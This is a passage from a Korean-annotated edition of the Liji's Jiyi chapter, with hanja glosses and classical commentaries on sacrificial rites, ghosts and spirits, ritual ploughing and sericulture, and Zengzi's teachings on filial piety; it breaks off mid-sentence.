此非孔子之言이라.\n○劉氏이 曰, 道之理는 一이요, 而德之分은 殊하니, 人之有德者는 未必皆能盡道之大全也라. 然,曰有德則亦違道不遠矣리니, 此德之所以近道也라.\n[嚴陵方氏曰先言治天下後言定天下者治之然後定也德未足以盡道也近於道而已凡列於爵者皆謂之貴貴不必皆君也貴在外者也先德而後貴以內外爲之序也先老而後長先長而後幼則以尊卑小大爲之序也貴有位而已老有年而已不必皆有德則長也幼也又可知矣故於德特言有焉於長曰敬於幼曰慈者蓋敬存乎禮慈存乎仁而已至於貴則不止於是而已]\n[慶源輔氏曰人人親其親長其長而天下平所謂定天下也君臣父子兄弟人倫之大者而道又人倫之總也故先曰貴有德先王之治天下擧斯心加諸彼而已矣刑名法數有不與焉然其所謂道者亦豈淸虛寂滅之謂乎]\n15. 子이 曰, 立愛自親始는 敎民睦也요, 立敬自長始는 敎民順也니, 敎以慈睦하면 而民이 貴有親하고, 敎以敬長하면 而民이 貴用命하나니, 孝以事親하며 順以聽命하면 錯[措]諸天下하야 無所不行이니라.[52]\n此는 言愛敬二道이 爲齊家治國平天下之本이라. 君自愛其親하야 以敎民睦則民皆貴於有親이요. 君自敬其長하야 以敎民順則民皆貴於用上命하니, 愛敬이 盡於事親事長하면 而德敎加於百姓이니 擧而措之而已라.\n[石林葉氏曰君子無不愛也自親而推之則有殺故以愛親爲始君子無不敬也自長而推之則有等故以敬長爲始始乎親而達其敎於天下凡有親者莫不敦愛而相顧也故曰敎以慈睦而民貴有親始乎長而達其敎於天下凡有上者莫不用命而相尊也故曰敎以敬長而民貴用命親親長長君子所自立而效至於天下平故曰錯諸天下無所不行]\n16. 郊之祭也에 喪者이 不敢哭하며, 凶服者不敢入國門은 敬之至也니라.[53]\n吉凶異道하야 不得相干이라.\n[慶源輔氏曰人君郊天而人之有喪者不敢哭凶服者不敢入國門下文言祭廟則卿大夫皆序從執事非人君誠敬之至安能如是哉然則在我者雖敬而在人者弗肅猶非敬之至也]\n17. 祭之日에 君이 牽牲이어시든 穆이 答君하며, 卿大夫이 序從[去聲]하야 旣入廟門하야 麗于碑어든 卿大夫이 袒而毛牛이 尙耳하고, 鸞刀로 以刲[奎]하야 取膟[律]膋[刀凋反]하고, 乃退하야든 爓[徐廉反]祭祭腥而退하나니 敬之至也니라.[54]\n[麗:붙다(附)][鸞:난새란][刲:찌를규,베어가르다,빼앗아가다][膟:발기름율,제사고기][膋:창자의발기름료][凋:시들조][爓:아궁이섬,데치다.불빛염][紖:소고삐인,수레줄인]\n祭之日은 謂祭宗廟之日也라. 父爲昭子爲穆이니 穆答君은 言君牽牲之時에 子姓對君共牽也라. 卿大夫이 佐幣하고, 士이 奉芻하야 以次序在牲之後라. 故,云序從也라. 麗牲之碑는 在廟之中庭하니라. 麗는 猶繫也니, 謂以牽牲之紖으로 繫于碑之孔也라. 袒衣는 示有事也라. 將殺牲則先取耳旁毛하야 以薦神이니, 毛以告全耳요, 以主聽이니 欲神聽之也라. 以耳毛爲上이라. 故,云尙耳也라. 鸞刀膟膋는 竝見前篇하다. 乃退는 謂薦毛血膟膋畢에 而暫退也라. 爓祭는 祭湯中所爓之肉也라. 祭腥은 祭生肉也라. 爓腥之祭이 畢則禮終而退矣니. 此皆敬心之極至也라. [暫:잠깐잠][腥:날고기성]\n[延平周氏曰以君之尊而牽牲以子姓之親而答君可謂敬之至也]\n[石林葉氏曰牽牲而入廟門麗于碑所謂納牲詔於庭也毛牛尙耳者所謂升首於室也刲取膟膋以合羶薌所謂臭陽達于牆屋也祭爓腥而退所謂至敬而不享味也] [羶:노린내전][薌:곡기향.香과同字]\n18-1. 郊之祭는 大報天而主日하고 配以月하나니, 夏后氏는 祭其闇[暗]하고, 殷人은 祭其陽하고, 周人은 祭日에 以朝及闇하니라.[55] [闇:닫힌문앞,어둡다,불분명하다]\n道之大原이 出於天而懸象著明이 莫大乎日月이라. 故,郊以報天而日以主神하니 制禮之意이 深遠矣라.\n○方氏이 曰, 郊雖以報天이나 然天則尊而無爲하니, 可祀之以其道요, 不可主之以其事라. 故,止以日爲之主焉이라. 猶之王이 燕飮則主之以大夫요, 王이 嫁女則主之以諸侯而已라. 有其祀면 必有其配라. 故,又配以月也라. 猶祭社則配以勾龍하고, 祭稷則配以周棄焉이니 闇者는 日旣沒而黑이니 夏尙黑이라. 故,祭其闇하고, 陽者는 日方中而白이니 殷尙白이라. 故,祭其陽也라. 日初出而赤하고, 將落亦赤하니 周尙赤이라. 故,祭以朝及闇이라. 及者는 未至於闇이니 蓋日將落時也라. 祭日은 謂祭之日也라.\n[長樂劉氏曰郊之祭大報天而主日者天之爲德至廣至大不可得而見之也其可見者日與月爾故尊之以次于天以爲三辰之主而以月配焉]\n[淸江劉氏曰周人祭日以朝及闇此言周人尙赤日出先日欲出之初猶逮及闇則可行祭事矣故季氏祭仲由爲宰晏朝而退仲尼謂之知禮也]\n18-2. 祭日於壇하고 祭月於坎하야 以別幽明하며, 以制上下하며 祭日於東하고 祭月於西하야 以別外內하며 以端其位니, 日出於東하고 月生於西하야 陰陽長短이 終始相巡하야[如字] 以致天下之和니라.[57]\n終始相巡은 止是終始往來周回不息之義니 不必讀爲沿也라.\n○方氏이 曰,壇之形則圓而無所虧하니 以象日之無所虧而盈也요, 坎之形則虛而有所受以象月之有所受而明也라. 壇高而顯하고 坎深而隱하니 一顯一隱所以別陰陽之幽明一高一深이 所以制陰陽之上下라. 東動而出하고 西靜而入하며, 出則在外하니 入則反內라. 故,東西 所以別陰陽之外요, 內東爲陽中하고 西爲陰中하니 中則得位라. 故,東西所以端陰陽之位라. 別幽明之道然後에 能制上下之分이요, 別外內之所然後에 能端陰陽之位니, 言之序이 所以如此라. 且壇坎者는 人爲之形이요, 東西者는 天然之方이니 出於人爲라, 故,言制하고, 出於天然也라, 故,言以端其位而已라. 日出於東은 言其象出於天地之東也요, 月生於西요, 言其明生於輪郭之西也니, 此는 又復明祭日月於東西之意也라. 日言出於東則知爲入於西이니 堯典에 於東曰寅賓出日이라하고, 於西曰寅餞納日者이 以此요, 月言生於西則知爲死於東이니, 揚雄이 言未望則載魄于西하고, 旣望則終魄于東者이 以此라. 日之出入也이 歷朝夕晝夜而成一日하고, 月之死生也이 歷晦朔弦望而成一月이라. 日往則月來하고, 月往則日來하야 而陰陽之義配焉이라. 陽道는 常饒하고, 陰道常乏이라. 故,運而爲氣하고, 賦而爲形하야, 凡屬乎陽者는 皆長하고, 屬乎陰者는 皆短하니, 一長一短이 終則有始하야 相巡而未嘗相絶이라. 故,足以致天下之和者는 陰陽相濟之效也라. 獨陰而無陽하고 獨陽而無陰이면 是는 同而已니, 又何以致和乎아?\n[毗陵慕容氏曰日以陽而位乎東東者陽之所也故曰日出乎東月以陰而遡日載魄於西而生焉故曰月生乎西日無待而明故謂之出出言無所因而特出也月有待而後明故謂之生生言無所因則不能生也生有漸而進之義書曰哉生魄哉生明與此同]\n18-3. 天下之禮는 致反始也며, 致鬼神也며, 致和用也며, 致義也며, 致讓也니, 致反始는 以厚其本也요, 致鬼神은 以尊上也요, 致物用은 以立民紀也요, 致義則上下이 不悖逆矣요, 致讓은 以去[去聲]爭也니, 合此五者하야 以治天下之禮也하면 雖有奇[居衣反]邪而不治者라도 則微矣니라.[60]\n疏에 曰, 和는 謂百姓和諧요, 用은 謂財用豊足이니, 致物用以立民紀者는 民豊於物用則知榮辱禮節이라. 故,可以立人紀也라. 奇는 謂奇異요, 邪는 謂邪惡이니, 皆據異行之人言이라. 用此五事爲治하야 假令有異行不從治者라도 亦當少也라.\n○應氏이 曰,致者는 推致其極也니, 致反始는 所以極吾心報本之誠하야 致鬼神所以極鬼神尊嚴之理라.\n[毗陵慕容氏曰萬物本乎天人本乎祖報天尊祖所以致反始也齊明盛服致誠愼獨必用其極所以致鬼神百物利用所以養人者不侈於有餘不屈於不足懋遷斂散各適其平所謂致和用也物各有用用得其節所謂和用禮以節度民知止足於分界則有紀而不亂所謂維民者悉矣辨下上明尊卑定名分別嫌疑所謂致義也義明而不可犯則民志定故無悖逆之事][懋:힘쓸무,성대하다]\n19. 宰我曰호대 吾聞鬼神之名하며 不知其所謂하야이다. 子이 曰하사대, 氣也者는 神之盛也요, 魄也者는 鬼之盛也니, 合鬼與神이라야 敎之至也니라.[62]\n程子이 曰鬼神은 天地之功用而造化之迹也라.\n○張子이 曰鬼神者는 二氣之良能也라.\n○朱子이 曰以二氣言則鬼者는 陰之靈也요, 神者는 陽之靈也요, 以一氣言則至而伸者이 爲神이요, 反而歸者이 爲鬼니, 其實은 一物而已라.\n○陳氏이 曰如口鼻呼吸이 是氣니 那靈處이 便屬魂하고 視聽이 是體이니, 那聰明處이 便屬魄이라.\n○方氏이 曰魂氣는 歸于天하고, 形魄은 歸于地라. 故必合鬼與神然後에 足以爲敎之至니, 中庸에 曰, 使天下之人으로 齊明盛服 以承祭祀라 하니, 此皆敎之至也라.\n20. 衆生이 必死하고 死必歸土하나니 此之謂鬼라. 骨肉이 斃于下하야 陰[去聲]爲野土이어든 其氣發揚于上하야 爲昭明 焄[熏]蒿悽愴하나니, 此이 百物之精也니 神之著也라.[63]\n[斃:죽을폐.弊同][焄김씰훈,냄새,김오르다][蒿:다북쑥호,김오르다][悽:슬퍼할처,야위다][愴:슬퍼하다]\n朱子이 曰,如鬼神之露光處이 是昭明이요, 其氣蒸上處是焄蒿요, 使人精神悚然是悽愴이라. 又曰昭明은 是光耀底요, 焄蒿는 是袞然底요, 悽愴은 是凜然底라. 又曰昭明은 乃光景之屬이요, 焄蒿는 氣之感觸人者요, 悽愴은 如漢書所謂神君至其風颯然之意라. 又曰焄蒿는 是鬼神精氣交感處라.\n[悚:드려워할송][底:믿,그치다.무슨][袞:곤룡포][凛:찰름(寒)][颯:바람소리삽.颯颯:불어오는바람이 쌀쌀하고쓸쓸하다]\n[慶源輔氏曰神以伸爲義則氣也者神之盛也鬼以歸爲義則魄也者鬼之盛也合而言之則鬼與神一也故聖人合之以制祭祀之禮而事之其爲敎也至矣魂生於氣魄生於體氣無不之故曰遊魂體則斃於下而已故曰體魄則降人亦一物也昭明焄蒿悽愴言氣之發揚如此]\n21. 因物之精하사 制爲之極하사 明命鬼神하사 以爲黔首則하시니 百衆以畏하며 萬民이 以服하니라.[64] [黔:검을검,귀신이름금]\n因其精靈之不可掩者하야 制爲尊極之稱而顯然命之曰鬼神이라하니 以爲天下之法則이라. 故,民知所畏而無敢慢하고, 知所服而無敢違라.\n○方氏이 曰,極之爲言은 至也니 名曰鬼神則尊敬之至요 不可以復加니, 是其所以制爲之極也라. 且鬼神이 本無名也러니 其名則人이 命之爾라. 鬼神이 至幽하야 不可測也러니 命之以名則明而可測矣라. 然後에 人得而則之라. 故,曰以爲黔首則이라하니 是乃所以爲敎之至也라.\n○馮氏이 曰,秦이 稱民爲黔首하니 夫子時에 未然也니 顯是後儒의 竄入이라.[竄:숨을찬]\n[延平周氏曰 氣者所以歸乎天 魄者所以降于地爲神者蓋有魄也 然魄非神之盛也爲鬼者蓋有氣也然氣非鬼之盛也神譬則天道而鬼譬則人道而已 合鬼與神敎之至也鬼神之爲德能使人齊明盛服而洋洋乎如在其上與其左右則人之所以有愧於屋漏而爲之愼獨者也 故曰明則有禮樂 幽則有鬼神是鬼神之爲敎同於禮樂而禮樂之敎有所不至則鬼神又有以助之也精魄爲物故骨肉斃于下陰爲野土者此百物之精也神魂爲變故其氣發揚于上爲昭明焄蒿悽愴者此神之著也昭明言其燭於物者焄蒿言其達於上者悽愴言其感於情者言百物之精也神之著也而獨言因物之精制爲之極者莫非物也雖神之著亦可謂之物鬼者盡人道者也神者盡天道者也天人之道黔首之則故明命鬼神以爲黔首則唯鬼神有以爲之則故百衆畏其威萬民服其德言衆者不特民而已言民則無知矣故屬之以服其德]\n22. 聖人이 以是로 爲未足也하사 築爲宮室하시며 設爲宗祧하사 以別親疏遠邇하사 敎民反古復始하사 不忘其所由生也하시니 衆之服이 自此라. 故로 聽且速也니라.[66]\n言聖人이 制宗廟祭祀之禮하야 以敎民이라. 故,衆民이 由此服從而聽之速也라.\n[長樂劉氏曰所以別其親疏者立祖禰之名也所以辨其遠邇者定宗祧之數也敎民尊祖以時祭之故曰反古也敎民親禰以禮敬之故曰復始也不忘其所由生者其謂此乎衆之服行聖人之德敎而祀其先也速於置郵而傳命者各親其親出於天性也]\n23-1. 二端이 旣立이어든 報以二禮하나니 建設朝[如字]事하야 燔燎羶[如字]薌할새 見[澗]以蕭光은 以報氣也니, 此는 敎衆反始也라. 薦黍稷하며 羞肝肺首心할새 見間[見間二字合爲覸]以俠甒[武]하고 加以鬱鬯은 以報魄也니 敎民相愛하야 上下이 用情하니 禮之至也니라.[67]\n[羶:양냄새날전,노린내날전][薌:곡기향,향기,기장(梁),(香과同字)][澗:산골물간][蕭:맑은대쑥소,쓸쓸하다,바람소리][覸:볼간(看)][甒:술준무(酒尊)]\n二端은 謂氣者는 神之盛이요, 魄者는 鬼之盛也라. 二禮는 謂朝踐之禮와 與饋熟之禮也라. 朝事는 謂祭之日早朝所行之事也라. 燔燎羶薌은 謂取膟膋하야 燎於爐炭하야 使羶薌之氣로 上騰也라. 見은 讀爲覸하니 雜也라. 以蕭蒿로 雜膟膋而燒之라. 故,曰覸以蕭光이니 光者는 煙上則有照映之光采也라. 此는 是報氣之禮니 所以敎民反古復始也요, 至饋熟之時則以黍稷爲薦하고, 而羞進肝肺首心四者之饌焉이라. 見間은 卽覸字이 誤分也라. 俠甒는 兩甒也요, 當此薦與羞하야 而雜以兩甒醴酒라. 故,曰覸以俠甒也라. 加以鬱鬯者는 魄降在地할새 用鬱鬯之酒以灌地라. 本在祭初而言於薦羞之下者는 謂非獨薦羞二者爲報魄이라. 初加鬱鬯도 亦是報魄也라. 此는 言報魄之禮니 敎民相愛라. 上下用情者는 饋熟之時에 以酬酢爲禮하야 祭之酒食을 徧及上下하야 情義無間하니 所以爲禮之極至也라.\n[膟:발기름률,제사고기][膋:창자의발기름료][燒:불사를소,익히다,야화]\n[嚴陵方氏曰二端旣立謂立鬼神之名也報以二禮謂報氣報魄之禮也建言立其禮設言陳其物羶天産之臭也薌地産之臭也染蕭以膟膋故有羶合蕭以黍稷故有薌燔燎羶薌則蕭與膟膋黍稷竝合而見矣故曰見以蕭光凡此皆以臭爲主臭爲陽故曰以報氣也氣以陽生而有所始故曰敎衆反始也甒蓋瓦器有兩甒故曰俠卽司尊彛所謂間祀用大尊是矣言瓦甒之大尊則鬱鬯之爲虎彞可知不及時祭則擧大以該小爾以諸物見于夾甒之間故曰覸以俠甒又副之以鬱鬯之彞故曰加以鬱鬯宗廟之祭灌而後獻此於鬯言加者以尊尊而彞卑故也凡此皆以味爲主而味爲陰故曰以報魄也陰聚而有所愛故曰敎民相愛至於祭畢而燕酒食徧及於上下其情義之篤無以復加此所以爲上下用情而爲禮之極至也]\n23-2. 君子이 反古復始는 不忘其所由生也니 是以로 致其敬하며 發其情하며 竭力從事하야 以報其親하야 不敢弗盡也니라. 是故로 昔者에 天子이 爲藉[在亦反]千畝하사 冕而朱紘[宏]하사 躬秉耒하여든 諸侯이 爲藉百畝하사 冕而靑紘하사 躬秉耒하사 以事天地山川社稷先古하사 以爲醴酪[洛]齊[咨]盛[成]을 於是乎에 取之하시나니 敬之至也니라.[70]\n[藉:깔개자][畝:이랑무][紘:끈굉][宏:클굉][秉:잡을병,자루][耒:쟁기뢰][酪:소젓락]\n藉은 藉田也라. 紘은 冠冕之繫니 所以爲固也라. 先古는 先祖也라. 於是乎取之는 言皆於此藉田中取之也라.\n[嚴陵方氏曰敬欲有所至故曰致情欲有所愛故曰發力之用欲無遺故曰竭事之來欲無拒故曰從致敬發情於內故能竭力從事於外凡此則所以報其親不敢弗盡故也如上所言報氣報魄皆報親之事也盡謂內盡志外盡物也又曰藉卽藉田也月令所謂躬耕帝藉是矣耕必冕服則所以敬其事也躬耒則所以躬耕也天地則指天子言之山川社稷先古則兼諸侯言之以後之所事故曰先以今之所承故曰古醴足以爲禮酪足以爲酸以天子諸侯之尊而躬爲之故曰敬之至]\n[毗陵慕容氏曰愼終追遠君子之所以致其厚身致其誠信不敢弗盡所以致其厚之道也有天下有一國可以取安佚可以役民力而必躬秉耒者以爲祭不自致非所以事神明以此率民而民孝敬矣王畿千里而藉亦千畝封疆百里而爲藉亦百畝首服莫尊於冕而冕以躬耕貴而自致莫勤於用力而躬秉耒凡此皆自盡之道也][佚:편안일(不勞),숨다.허물]\n24. 古者에 天子諸侯이 必有養獸之官하더니 及歲時하야 齊戒沐浴而躬朝之하야 犧牷祭牲을 必於是에 取之하니 敬之至也라. 君이 召牛하사 納而視之하사 擇其毛而卜之吉然後에아 養之하고, 君이 皮弁素積으로 朔月月半에 君이 巡牲하시나니, 所以致力이니 孝之至也니라.[72] [牷:순색소전.완전하다,희생]\n色純曰犧요, 體完曰牷이라. 牛羊豕曰牲이라. 周禮 牧人掌牧六牲하니 牛와 馬,羊,豕,犬,鷄也니라. 然後養之는 謂在滌三月也는 皮弁素積은 見前이라.\n[嚴陵方氏曰自養獸之官而下所云卽牧人阜蕃其物之時也自君召牛而下所云卽充人繫于牢之時也繫于牢則芻之三月而已故朔望巡之阜蕃其物則不止三月也故歲時朝之以其純而不雜故謂之犧以其完而無傷故謂之牷犧言其色也牷言莫體也犧牷所以爲祭之牲故曰犧牷祭牲也君召牛納而視之所謂展牲是也卜之吉然後養之所謂帝牛不吉以爲稷牛是也未卜止謂之牛旣卜乃謂之牲召之則未卜故曰牛巡之則卜之矣故曰牲齊戒沐浴者臣見君之禮也臣以見君之禮而朝之所以致其敬也皮弁素積者君視朝之服也君以視朝之服而巡之所以極其辨也先王父天母地則以子道自處焉推而及於山川社稷亦由是也故凡所以事鬼神之道皆稱孝焉論語曰菲飮食而致孝乎鬼神歲時謂比歲比時也]\n[菲:짚신비,엷다.둔하다.나물이름,향기롭다.菲德:덕이박함.또는그런사람.菲薄:얼마되지않아변변치못함.菲食:변변치못하게차린음식]\n25-1. 古者에 天子諸侯이 必有公桑蠶室하더니 近川而爲之築宮호대 仞有三尺하고 棘牆而外閉之하고 及大昕[欣]之朝하야 君이 皮弁素積으로 卜三宮之夫人世婦之吉者하사 使入蠶于蠶室하야 奉[上聲]種하야 浴于川하고 桑于公桑하야 風戾以食[嗣]之하더니라.[74] [仞:길,재다,차다][昕:새벽흔,해뜰무렵.欣:기쁠흔]\n公桑은 公家之桑也라. 蠶室은 養蠶之室也라. 近川은 便於浴種也라. 棘牆은 置棘於牆上也라. 外閉는 戶扇在外而閉則向內也라. 大昕之朝는 季春朔之旦也라. 三宮은 在天子則謂三夫人이요, 在諸侯之夫人則立三宮하니 半后之六宮也라. 桑은 采桑也요, 戾는 乾也니 蠶惡濕이라. 故葉乾하야 乃以食也라. ○方氏이 曰,戾는 至也니 風至則乾矣라.\n25-2. 歲旣單[丹]矣어든 世婦卒蠶하야 奉[上聲]繭[古典反]하야 以示于君하고, 遂獻繭于夫人하여든 夫人曰하사대 此이 所以爲君服與[平聲]인저 遂副褘[揮]而受之하시니 因少牢以禮之하더니 古之獻繭者이 其率[如字]用此與인저.[75]\n[副:버금,돕다,머리꾸미개.쪼갤북][褘:폐슬휘,황후제복][牢:굳다,애오라지,우리]\n單은 盡也요, 副之爲言은 覆也니, 婦人首飾이니 所以覆首者라. 褘는 禕衣也라. 禮之는 禮待獻繭之婦人也라. 率은 舊讀爲類러니 今如字라. ○方氏이 曰三月之盡이요, 非歲單之時나 然,蠶成之時也이 自去歲蠶成之後로 迄今歲蠶成之時迄하면 期歲矣迄라. 故,謂之歲單迄이니 若孟夏迄에 稱麥秋者迄이 亦此之意迄라.\n[禕:아름다울의,보배롭다.진귀하다,탄식하다][迄:이를흘 도달,마치다.그만둠,마침내]\n[延平周氏曰蠶與繅婦功也以婦功而貴於夫人世婦則無不可者而必用卜以擇其夫人世婦之吉者蓋先王以爲躬桑所以爲祭服而又將以勸於天下則不可不決於神明者也示於君告其功之成也獻繭不於君而於夫人者別內事也夫人受之以副禕所以敬其將爲祭服也禮之以少牢所以勞其還也]\n[○長樂陳氏曰躬桑不過鞠衣而受繭必以副褘者重繭之成也] [繅:고치켤소][決:결단할결]\n25-3. 及良日하야 夫人이 繅[蘇刀反]三盆手하시고 遂布于三宮夫人世婦之吉者하사 使繅하야 遂朱綠之하며, 玄黃之하야 以爲黼黻文章하야 服旣成이어든 君이 服以祀先王先公하나니 敬之至也니라.[76]\n良日은 吉日也라. 三盆手者는 置繭于盆中而以手로 三次淹之니, 每淹則以手로 振出其緒라. 故,云三盆手也라. [淹:담글엄,적시다,빠지다,머물다]\n○方氏曰夫人之繅를 止於三盆은 猶天子之耕이 止於三推라.\n[毗陵慕容氏曰夫躬耕親蠶一則以敎民致力於農桑而豊衣食之原一則以爲齊盛祭服而盡事神之敬故先王以所事者敎民故民之聽命也速以所率民者奉神故神饗之也易夫民神之主也成民然後可以致力於神民和而神降之福耕以足食蠶以足衣生民之道於是乎在所以成民而致其和莫先於斯二者故齊盛以告冤服以祀而成民之道盡焉故可以陳信於鬼神若夫民則棄本飢寒是憂和氣不應災害日至則是矯擧以祭雖潔齊豊盛致美乎冕服神亦弗饗矣]\n26. 君子曰 禮樂은 不可斯須去身이니 致樂以治心則易直子[慈]諒[良]之心이 油然生矣요, 易直子諒之心이 生則樂하고 樂則安하고 安則久하고 久則天이요 天則神이니, 天則不言而信하고 神則不怒而威하나니 致樂以治心者也니라. 致禮以治躬則莊敬하고 莊敬則嚴威하나니 心中斯須不和不樂이라도 而鄙詐之心이 入之矣요, 外貌斯須不莊不敬이라도 而慢易之心이 入之矣니라. 故,樂也者는 動於內者也요, 禮也者는 動於外者也이 樂極和하고 禮極順하며 內和而外順하야 則民瞻其顔色而不與爭也하며 望其容貌而衆不生慢易焉하나니라. 故,德輝動乎內하고 而民莫不承聽하며 理發乎外하야 而衆莫不承順하나니. 故,曰致禮樂之道면 而天下塞焉하야 擧而措之無難矣니라. 樂也者는 動於內者也이며, 禮也者는 動於外者也니라. 故,禮는 主其減하고, 樂은 主其盈하니, 禮는 減而進하야 以進爲文하고, 樂은 盈而反하야 以反爲文이니라. 禮減而不進則銷하고 樂盈而不反則放하나니, 故,禮有報而樂有反하니 禮得其報則樂하고 樂得其反則安하나니 禮之報와 樂之反이 其義一也니라.[77]\n說見樂記,[禮記第十九-28항참조]\n27. 曾子이 曰하사대 孝有三하니 大孝는 尊親하며 其次弗辱이요, 其下는 能養[上聲]이니라. 公明儀問於曾子曰호대 夫子는 可以爲孝乎닛가? 曾子曰하사대 是何言與오? 是何言與오? 君子之所謂孝者는 先[去聲]意承志하야 諭父母於道니 參直養者也이니 安能爲孝乎리오?[79]\n大孝尊親은 嚴父配天也라. 公明儀는 曾子弟子라.\n[馬氏曰先意所以閑其邪承志所以成其美此所以諭父母於道]\n[西山眞氏曰父母之意未形而能逆之於其先父母之志已形而能承之於其後非深於孝愛以父母之心爲心者不能諭者開說曉譬之謂爲人子者平時能以理開曉其親置之無過之地猶臣之事君格其非心而引之當道也其視有過而後諫者功相百矣故君子猶難之]\n28-1. 曾子이 曰하사대 身也者는 父母之遺體也니 行父母之遺體호대 敢不敬乎아! 居處不莊이 非孝也며, 事君不忠이 非孝也며, 涖官不敬이 非孝也며, 朋友不信이 非孝也며, 戰陳[去聲]無勇이 非孝也니, 五者를 不遂하면 烖及於親하나니 敢不敬乎아![80]\n[涖:임할리][烖=災의本字]\n承上文弗辱與養而言이니 此五者皆足以辱親이라. 故曰烖及於親이라.\n[延平周氏曰居處莊禮也事君忠涖官敬義也朋友信信也戰陳勇强也凡此五者皆遂則烖不及其身烖不及身則是不及其親蓋吾之身卽父母之身也居處莊者愼其獨者也能愼其獨故以之在上則事君忠涖官敬以之在下則友信戰陳者非君子之先務故其序如此]\n28-2. 亨[烹]孰羶薌하야 嘗而薦之는 非孝也라. 養也라. 君子之所謂孝也者는 國人이 稱願 然曰호대 幸哉有子이 如此라하면 所謂孝也已니라. 衆之本敎曰孝요, 其行曰養[去聲]이니, 養은 可能也이어니와 敬爲難하며, 敬은 可能也이어니와 安이 爲難하며, 安이 可能也이어니와 卒이 爲難하니, 父母이 旣沒이어시든 愼行其身하야 不遺[去聲]父母惡名이 可謂能終矣니, 仁者는 仁此者也요. 禮者는 履此者也요, 義者는 宜此者也요, 信者는 信此者也요, 强者는 强此者也니, 樂自順此生하고 刑自反此作이니라.[81]\n[羶:양냄새날전][薌:행기향(香同)]\n願은 猶羨也니, 稱願은 稱揚羨慕也라. 然은 猶而也라. 孝經에 曰, 夫孝는 德之本也요, 敎之所由生也라하니, 衆之本敎曰孝이 亦此意니, 言孝爲敎衆之本也라. 其行曰養은, 行은 猶用也니 言用之於奉養之間也라. 安爲難者는 謂非勉强矯拂之敬也요, 卒爲難者는 謂不特終父母之身하고, 孝子이 亦自終其身也라. 能終은 卽說上文하다. 卒字仁者仁此者也以下凡七此字는 皆指孝而言也라. [羨:부러월할선,지나치다.광중길연]\n[嚴陵方氏曰亨言天産故其臭爲羶孰言地産故其臭爲薌嘗旨否而後薦之是孝之一端而已稱者口稱其所爲願者志願其如此此則子之之詞也幸哉有子如此言其有子如此乃父母之幸也孝者盡子道而已人言如此故曰所謂孝也已已則言其盡於此也敎亦多術矣特爲之本者孝也故曰衆之本敎曰孝孝經云夫孝德之本也敎之所由生也正謂是矣論語曰至於犬馬皆能有養不敬何以別乎故曰敬爲難揚子曰孝莫大於寜親故曰安爲難孝經曰立身行道揚名於後世以顯父母孝之終也故曰卒爲難哀公問曰君子也者人之成名也百姓歸之名謂君子之子是使其親爲君子也是成其親之名也已故曰父母旣沒愼行其身不遺父母惡名可謂能終己夫孝旣爲德之本故仁非仁於孝不足以爲仁之德禮非履於孝不足以爲禮之德以至義也信也强也亦若此而已]\n[石林葉氏曰孟子曰不得乎親不可以爲人不順乎親不可以爲子蓋誠身則能有得乎親是在我者也故爲人道唯有義誠身未能順親是非在我者也故爲子道唯有命以舜爲聖人猶以瞽瞍底豫爲難則國人稱願然曰辛哉有子如此君子亦不謂性也莊愼忠信災不及其親所謂能敬也不能安之則無以安其親先意承志諭父母於道所謂能安也不能卒之則無以盡大事愼終追遠所謂能卒之也一人之身物所爲備其先得者愛親此孝所以爲本也故仁以仁之則曰仁此者也禮以體之則曰履此者也義有理則曰宜此者也信不欺則曰信此者也强者不息則曰强此者也五者備矣强而不變已忘其倦則樂矣樂所以順此而生者也小人反是則入於刑刑由於反此而作也]\n28-3. 曾子이 曰호대, 夫孝는 置之而塞乎天地하며, 溥[如字]之而橫乎四海하며, 施諸後世而無朝夕하며, 推而放[上聲]諸東海而準하며, 推而放諸西海而準하며, 推而放諸南海而準하며, 推而放諸北海而準하나니, 詩云호대 自西自東自南自北이 無思不服이라하니 此之謂也라.[84] [溥:넓을부,펼부]\n溥는 舊讀爲敷러니 今如字라. 詩는 大雅文王有聲之篇이라.\n○方氏이 曰, 置者는 直而立之요, 溥者는 敷而散之요, 施는 言其出無窮이요, 推는 言其進不已요, 放은 與孟子放乎四海之放으로 同하고, 準은 言人以是爲準이라.\n[石林葉氏曰塞乎天地所謂窮高厚也橫乎四海所謂極深遠也施諸後世而無朝夕所謂悠久無疆也]\n[山陰陸氏曰夫孝出於同然故推而放諸四海如此卽有不準是背類反倫者也]\n[慶源輔氏曰曾子推言孝之爲道至此所謂誠則形形則著著則明明則動動則變變則化是矣]\n28-4. 曾子이 曰, 樹木을 以時로 伐焉하며, 禽獸를 以時로 殺焉이니, 夫子이 曰하사대 斷[短]一樹하며, 殺一獸를 不以其時면 非孝也니라.[85]\n上에 言, 仁者仁此者也하고, 此二者는 亦爲惡其不仁이라. 故,言非孝라. 曾子又引夫子之言以爲證하시다.\n[嚴陵方氏曰王制曰草木零落然後入山林所謂樹木以時伐也又曰豺祭獸然後田獵鳩化爲鷹然後設罻羅所謂禽獸以時殺也孟子曰君子親親而仁民仁民而愛物故斷一樹殺一獸不以其時非孝也]\n[零:비내릴영.떨어질령.零落:풀과나무가말라시들어떨어짐,떨어져흔들림,쓸쓸함,죽음,떨어져폐함][罻:새잡는그물위(울),작은그물][豺:승냥이시][鷹:매응]\n28-5. 孝有三하니, 小孝는 用力하고, 中孝는 用勞하고, 大孝는 不匱하나니. 思慈愛하야 忘勞면 可謂用力矣요, 尊仁安義면 可謂用勞矣요, 博施[거성]備物이면 可謂不匱矣니라. 父母이 愛之어시든 嘉(喜)而弗忘하며, 父母이 惡之어시든 懼而無怨하며, 父母有過어시든 諫而不逆하며. 父母이 旣沒이어시든 必求仁者之粟하야 以祀之니, 此之謂禮終이라.[86]\n庶人이 思父母之慈愛하야 而忘己躬耕之勞이 可謂用力矣니 此其下能養之事也요, 諸侯卿大夫士는 尊重於仁하고, 安行於義하야 功勞足以及物하야 可謂用勞矣니, 此는 其次弗辱之事也요, 匱는 乏也요, 博施謂德敎加於百姓,刑于四海也요, 備物은 謂四海之內各以其職來助祭하야 可謂不匱矣니, 此는 